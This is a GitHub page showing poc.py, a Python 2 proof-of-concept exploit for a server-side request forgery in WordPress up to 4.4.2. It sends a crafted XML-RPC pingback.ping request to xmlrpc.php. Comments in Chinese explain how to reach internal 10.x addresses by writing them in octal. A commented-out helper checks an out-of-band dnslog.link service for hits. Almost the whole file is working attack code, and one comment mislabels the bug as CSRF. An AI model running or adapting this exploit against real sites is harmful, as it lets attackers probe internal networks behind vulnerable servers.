-
Notifications
You must be signed in to change notification settings - Fork 523
/
Copy pathpoc.py
63 lines (50 loc) · 1.9 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
WordPress 4.4 Server Side Request Forgery (SSRF)
Version
WordPress <= 4.4.2
"""
import requests
req_timeout = 10
def check_dns_log(hashstr):
url = 'http://admin.dnslog.link/api/web/0e9cd982/{}/'.format(hashstr)
r = requests.get(url)
return r.text
def poc(url):
if '://' not in url:
url = 'http://' + url
targeturl = url.rstrip('/') + "/xmlrpc.php"
hashstr = 'wpssrf'
# dst = hashstr + '.0e9cd982.dnslog.link'
dst = '012.10.10.1'
# 第一个地址段为SSRF的目标地址,格式为(http[s]://IP|DOAMIN)[:(80|8080|443)]。
# 只能这三个端口,外网地址全通,内网地址被过滤,可用8进制突破10开头的地址段。
# 第二个地址段需要该站实际存在的文章地址,用?p=1自动适配。
payload = """
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://{target}/</string></value></param>
<param><value><string>{victim}?p=1</string></value></param>
</params>
</methodCall>""".format(target=dst, victim=url.rstrip('/') + '/')
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Content-Type': 'text/xml'}
try:
# 无法从回显判断
res = requests.post(targeturl, data=payload, headers=header, timeout=req_timeout)
print res.text
# res = check_dns_log(hashstr)
# if res:
# print '[!] 存在 CSRF 漏洞:{}'.format(url)
# return True
except Exception, e:
pass
return False
if __name__ == '__main__':
# poc('http://localhost/wordpress/wordpress-4.4.2/wordpress/')
poc('http://localhost/wordpress/wordpress-4.2-zh_CN/wordpress/')